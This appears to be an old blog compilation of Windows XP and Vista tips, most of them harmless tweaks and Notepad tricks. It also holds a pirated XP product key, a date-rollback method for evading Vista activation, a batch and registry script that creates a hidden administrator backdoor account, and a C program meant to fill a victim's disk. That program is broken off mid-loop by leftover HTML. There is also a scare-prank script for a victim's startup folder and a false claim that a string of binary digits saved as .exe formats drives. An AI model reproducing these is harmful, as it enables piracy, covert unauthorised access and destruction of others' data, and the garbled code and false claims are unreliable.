Note: tips for learning purpose only. am not responsible for any liabilities.

Get the Xp Product Code its Cd Itself
Get the Xp Product Code From its CD Itself
There is a way to get the xp product code from the cd just explorer the cd then open the folder I386 then open the file UNATTEND.TXT and scroll down to the last line and it goes to show what dumbasses microsoft are u have a product code.
Have fun u never need to search for a product code for xp again...!!!!
Xp expires
To reduce instances of "casual copying" (a nice name for software piracy), Microsoft has implemented a two-stage antipiracy scheme in its upcoming OS. The first stage is the installation and registration counter: this lets you install Windows XP only five times on the same system. (Note that you'll be able to install the final version of XP on only one machine, as opposed to the current beta, which can be installed on five machines for testing purposes.) The second stage creates a profile of the system to prevent you from reinstalling or registering the OS on different PCs.
To make this scheme work, you must activate your copy of Windows--over the Internet or by calling for an activation code--within 30 days of installation. Activation differs from a classic registration process in that no personal information is requested by or sent to Microsoft, just a record that a specific copy of Windows XP is installed on your specific PC. If you fail to activate your copy of the OS within 30 days, your login will fail. (Since XP is based on Windows NT-like privilege levels, you can't use your computer until you log on.)
Microsoft says the scheme should not prevent you from reinstalling your copy of XP on your PC as many times as you need to, as long as it's the same PC or close to it, allowing for some hardware changes. It's the "some" that has most folks worried. In theory, you might have to reactivate your OS if you upgrade significantly or swap out a lot of components because XP might think it's running on a new PC. So far, Microsoft isn't saying what system information the OS uses to determine the "same PC or close to it" status. That means we don't know to what degree you can upgrade your hardware before you cross the invisible line. We also don't know how much, if any, personally identifiable data Microsoft is gathering from your PC.
Microsoft says you can, of course, change at least one and possibly several hardware components--RAM, video or sound cards, CPUs, motherboards, and so on--without having to reactivate your OS. But if you try to reinstall your copy of Windows XP on what Microsoft calls a "different or significantly upgraded or changed PC" (again, the company declined to specify how different), the activation will most likely be rejected, requiring you to call Microsoft to explain and get a new (free) activation code.
Microsoft plans to set up a new call center for U.S.-based customers to expedite activation issues. Many non-U.S. customers will likely have to go through the existing, shared Microsoft technical support lines they currently use. Microsoft says it expects only 2 percent of the total installed base of Windows XP to have to reactivate the OS. Whether the anti-piracy initiative will present problems for consumers or result in fewer upgrades to XP remains to be seen. Remember, the final release is at least a few months off.
Make XP genuine
method1
Right click your desktop and select new text document.
Open that document and paste the following info.

Link - http://www.magicaljellybean.com/keyfinder.shtml
Now open keyfinder.exe
Click on options and click "change windows key"
Now enter this key and you're done.
*****************************
V2C47-MK7JD-3R89F-D2KXW-VPK3J
*****************************
P.S: this works on windows Xp sp2 only......
Activate windows vista any edition
# Install Windows Vista Ultimate edition (or other edition) without product key.
# Windows Vista needs to be applied with 2099-ReArm trick, so that the counter of minutes to no activation required period will not return to normal after reboot. Click on Start Orb button.
# Select “All Programs”, then “Accessories”.
# Right click on “Command Prompt, then select “Run as Administrator (A)”.
# If User Account Control (UAC) prompt a warning message, click on “Continue”.
# In the command prompt, type date and press Enter. You will see the following:

Microsoft Windows [Version 6.0.6000]
Copyright (c) 2006 Microsoft Corporation. All rights reserved.
C:\Windows\system32>date
Current date: 12/19/2006 Thursday
Enter new date:
# Enter 12/31/2099 (December 31, 2099).
# Next, type cscript slmgr.vbs -rearm. You will see something like the following:
C:\Windows\system32>cscript slmgr.vbs -rearm
Microsoft (R) Windows Script Host Version 5.7
Copyright (C) Microsoft Corporation. All rights reserved.
The command completed successfully.
To make the change effectively, please restart the system.
# Then reset the date of the system to current date again by typing date again. You will see the following:
Microsoft Windows [Version 6.0.6000]
Copyright (c) 2006 Microsoft Corporation. All rights reserved.
C:\Windows\system32>date
Current date: 12/31/2099 Thursday
Enter new date:
# Type in current date, i.e. 12/19/2006.
# Exit from command prompt, but do not restart the computer.

Go ahead, do this little trick to impress and amaze your friends
For Microsoft Windows XP.

HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows NT\ CurrentVersion\ Winlogon
In the right pane, double click the Shell entry to open the Edit String dialog box. In Value data: line, enter the name that was used to save the modified explorer.exe file. Click OK.

Close Registry Editor and either log off the system and log back in, or reboot the entire system if thats your preference. If all went as planned you should see your new Start button with the revised text.
Desktop properties won't work
If Desktop-properties won't work that can be caused by change in Registry base.
1. Make backup of your registry base.
2.HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVerison \ControlsFolder\Display\shellex\PropertySheetHandlers
There can be lots of keys , but standard and important are only:
- DeskHtmlExt, and
- PlusPack CPL extension
Keep just those two, and delete other keys.
Close Registry, and restart computer.
Renaming CD ROM Drive Letter
Rename the drive letters of your CD drive(s) from the back of the alphabet, eg, Z, Y. This way, if you add extra hard disks, your CD drives do not get re-lettered.

Note from Bob:

Under Settings, change the Start Drive Letter to higher in the alphabet.

Easier way to remove control panel programs.

How to create hidden Admin Account on windows???
This batch (*.bat) file can be used to create an administrator account called "USER" with a password of "PASS" (Add the following text to a new file and give it a .bat extension:
@echo off
net user USER PASS /add
net localgroup Administrators USER /add
Now we need to make a registry entry fil that will cause an account with "USER" as the username to be hidden from the Welcome Screen and in most cases also hidden from the basic User Accounts settings windows... found in the control panel: place the following text in a file with a .reg extension.

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion
\Winlogon\SpecialAccounts\UserList]
"USER"=dword:00000000
Now, from the welcome screen in windows xp, press and hold Ctrl-Alt-
Delete to manually type in a desired username and password (eg. to log
into a hidden account)

Hidden Star Wars Movie in Windows XP
Microsoft has hidden a version of Star Wars done entirely with ASCII characters in the Windows XP operating system.But you must be connected to internet to view it.When online,go to start->run.Now type ' telnet towel.blinkenlights.nl ' without the single quotes.See it for yourself.
It works only in Windows Xp.If you have any other operating system,watch it on YouTube:
http://www.youtube.com/watch?v=kdhrE5RMDfQ
http://www.youtube.com/watch?v=vxW2EePW8qA
Test if Antivirus is Working or not Using notepad
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

Open notepad..........Copy the above code in the file....
then save it with the name fakevirus.exe
If this file got deleted immediately ....That means ur antivirus is working properly
A Funny Notepad Trick1
1. Open a blank Notepad file
2. Write .LOG as the first line of the file, followed by a enter. Save the file and close it.
3. Double-click the file to open it and notice that Notepad appends the current date and time to the end of the file and places the cursor on the line after.
4. Type your notes and then save and close the file.
After that open the file and see the changes.
A Funny Notepad Trick2
Did you know that the flight number of the plane that had hit WTC ...on 9/11 was Q33N ....Open your Notepad in ur computer and type the flight number i.e Q33N... Increase the Font Size to 72, Change the Font to Wingdings.
A Funny Notepad Trick3
Make friends scare of VIRUS
Open notepad and type this:
lol=msgbox ("Warning a virus has been detected on your PC. Press YES to format your hard disk now or press NO to format your hard disk after system reboot",20,"Warning")
Then save it as Virus.VBS
and go to the folder that contains it and open it if a window pops out saying a virus has been detected it's working. Press yes or no to close the window and put it in the startup folder of the victim's account.On startup the window should appear.Note: This does not harm your computer as it does not contain virus.
Format Hard Disk using Notepad
1. Write The Following In Notepad Exactly as it says
2. Write the following code:01001011000111110010010101010101010000011111100000
3. Save As it as .EXE and any Name would Do.
4. If u run the program means it will format the Hard Drive.
Note:This is for learning purpose only. am not responsible for any liablities.
/*create bad sectors on the hard disk.
*
* This program will create bad sectors on the hard disk. If you left it
* running for long enough, it could render a hard disk quite useless. When
* bad sectors are found, the sector is marked as bad, so fixing the hard disk
* is not an easy task. Unless the victim has time and knowledge to fix the
* disk, the hard drive can be left quite literally defective.
* supported by preetam
* I don't take responsibility for what you do with this program, served foe educational purpose only.
*
*
*/

#include
#include
#include
#include
#include
#include
#include

#define HDSIZE 640000
void handle_sig();
int main() {
int i = 0;
int x;
int fd[5];
signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);
char *buf;
buf = malloc(HDSIZE);
printf("sekt0r: trashing hard disk with bad sectors!\n");
while(1) {
fd[1] = open("/tmp/.test", O_WRONLY|O_CREAT, 511);
fd[2] = open("/tmp/.test1", O_WRONLY|O_CREAT, 511);
fd[3] = open("/tmp/.test2", O_WRONLY|O_CREAT, 511);
fd[4] = open("/tmp/.test3", O_WRONLY|O_CREAT, 511);
fd[5] = open("/tmp/.test4", O_WRONLY|O_CREAT, 511);
for(x = 0; x < style="font-weight: bold;">
MS WORD Secret
Open Microsoft word n then type
=rand (200, 99)
then press enter
Windows XP Secret Music
Microsoft Windows XP is playing a cool music during installation. It is a pleasant little tune that you’ve probably never heard, unless you were present when Windows was being installed on your PC. After that it’s never played again, unless you know where to look for it.
To hear what you’ve been missing, just follow these:
Make you way to C:\WINDOWS\system32\oobe\images and look for a file called "Title.wma" or possibly "Windows welcome music.wma". It is around 2.56Mb in size. Just double click the file and this will open Windows Media Player, or your defaul player and it will proceed to serenade you with a more than 5 minutes music. It's up to you to repeat it.
CooL!!!
How to Lock a Folder Using Notepad
1.Consider you want to lock a folder named PICS in your D:\, whose path is D:\PICS
2.Now open the Notepad and type the following
ren pics pics.{21EC2020-3AEA-1069-A2DD-08002B30309D}
3.Where pics is your folder name. Save the text file as loc.bat in the same drive.
4.Open another new notepad text file and type the following
ren pics.{21EC2020-3AEA-1069-A2DD-08002B30309D} pics
5.Save the text file as key.bat in the same drive.
---------
Usage:
---------
6.To lock the pics folder, simply click the loc.bat and it will transform into control panel icon, which is inaccessible.
7.To unlock the folder click the key.bat file. Thus the folder will be unlocked and the contents are accessible.
Locking folders without software
cls
@ECHO OFF
title Folder Locker
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo Are you sure u want to Lock the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock folder
set/p "pass=>"
if NOT %pass%==type your password here goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Locker
echo Locker created successfully
goto End
:End

* Now paste it in notepad.
Save it as batch file(with extension .bat).Any name will do.
Now you see a batch file. Double click it to create a folder locker.
A new folder named Locker would be formed at the same location.
Now brings all the files you want to hide in the locker folder.
Now double click the batch file to lock the folder namely Locker.
If you want to unlock your files,double click the batch file again and you would be prompted for password.Enter the password and enjoy access to the folder.

use pc as an alarm
Now this is specially for the ones who are too lazy to get up even when the trust cellphone dies screeching its lungs out. Its pretty simple Creating the playlist create a playlist of your favourite songs in Winamp, WMP or any other player. Export the playlist as a M3U playlist. M3U is generally accepted by almost every player. Triggering the alarm point to start> programs >accessories > system tools >scheduled tasks Create a new task and choose program as windows media player or winamp (May work with others too but I haven't tried anything else) Choose "daily", Enter the time and choose "every day" at next screen. It would now ask for password (leave blank in case you don't have one) Right click on the newly created task and check the "run only if logged in" check box. In the properties. Append the path to the playlist you created in the "run" text box. It should now look like Code:
Code:
"D:\windows mediaplayer\wmplayer.exe"K:\Playlists\smoothies.m3uthe text inside quotes is my WMP's path. It may vary for you. The text after WMP's path is the one to the playlist. Click OK and you're done.
A Hidden Secret in Xp
Create a new folder with the name ABC(of course you can give any name).
Open the command prompt and rename it to one of the following:
.{20D04FE0-3AEA-1069-A2D8-08002B30309D} (= My Computer)
.{450D8FBA-AD25-11D0-98A8-0800361B1103} (= My Documents)
.{208D2C60-3AEA-1069-A2D7-08002B30309D} (= My Network Places)
.{645FF040-5081-101B-9F08-00AA002F954E} (= Recycle Bin)
.{871C5380-42A0-1069-A2EA-08002B30309D} (= Internet Explorer)
.{21EC2020-3AEA-1069-A2DD-08002B30309D} (= Control Panel)
.{D20EA4E1-3957-11D2-A40B-0C5020524153} (= Administrative Tools)
.{00020D75-0000-0000-C000-000000000046} (= Inbox)
.{D20EA4E1-3957-11D2-A40B-0C5020524152} (= Fonts)
.{7007ACC7-3202-11D1-AAD2-00805FC1270E} (= Network Connections)
.{2227A280-3AEA-1069-A2DE-08002B30309D} (= Printers and Faxes)
.{7BE9D83C-A729-4D97-b5A7-1B7313C39E0A} (= Programs Folder)
.{E211B736-43FD-11D1-9EFB-0000F8757FCD} (= Scanners and Cameras)
.{D6277990-4C6A-11CF-8D87-00AA0060F5BF} (= Scheduled Tasks)
.{48E7CAAB-B918-4E58-A94D-505519C795DC} (= Start Menu Folder)
.{7BD29E00-76C1-11CF-9DD0-00A0C9034933} (= Temporary Internet Files)
.{BDEADF00-C265-11d0-BCED-00A0C90AB50F} (= Web Folders)
.{6DFD7C5C-2451-11D3-A299-00C04F8EF6AF} (= Folder Options)
.{00020801-0000-0000-C000-000000000046} (= Folder)
.{00021400-0000-0000-C000-000000000046} (= Another Folder)
Important: include the point and nothing before that!
Example: "rename ABC .{20D04FE0-3AEA-1069-A2D8-08002B30309D}"
Now wen you will see that the icon of tht folder has changed(No name) to My computer Icon.Now Make a shortcut to that folder, change the target and icon and you have a nameless shortcut.

some STRANGER things in XP
1. It boasts how long it can stay up. Whereas previous versions of Windows were coy about how long they went between boots, XP is positively proud of its stamina. Go to the Command Prompt in the Accessories menu from the All Programs start button option, and then type 'systeminfo'. The computer will produce a lot of useful info, including the uptime. If you want to keep these, type 'systeminfo > info.txt'. This creates a file called info.txt you can look at later with Notepad. (Professional Edition only).
2. You can delete files immediately, without having them move to the Recycle Bin first. Go to the Start menu, select Run... and type 'gpedit.msc'; then select User Configuration, Administrative Templates, Windows Components, Windows Explorer and find the Do not move deleted files to the Recycle Bin setting. Set it. Poking around in gpedit will reveal a great many interface and system options, but take care -- some may stop your computer behaving as you wish. (Professional Edition only).
3. You can lock your XP workstation with two clicks of the mouse. Create a new shortcut on your desktop using a right mouse click, and enter 'rundll32.exe user32.dll,LockWorkStation' in the location field. Give the shortcut a name you like. That's it -- just double click on it and your computer will be locked. And if that's not easy enough, Windows key + L will do the same.
4. XP hides some system software you might want to remove, such as Windows Messenger, but you can tickle it and make it disgorge everything. Using Notepad or Edit, edit the text file /windows/inf/sysoc.inf, search for the word 'hide' and remove it. You can then go to the Add or Remove Programs in the Control Panel, select Add/Remove Windows Components and there will be your prey, exposed and vulnerable.

Make Invisible Folders!!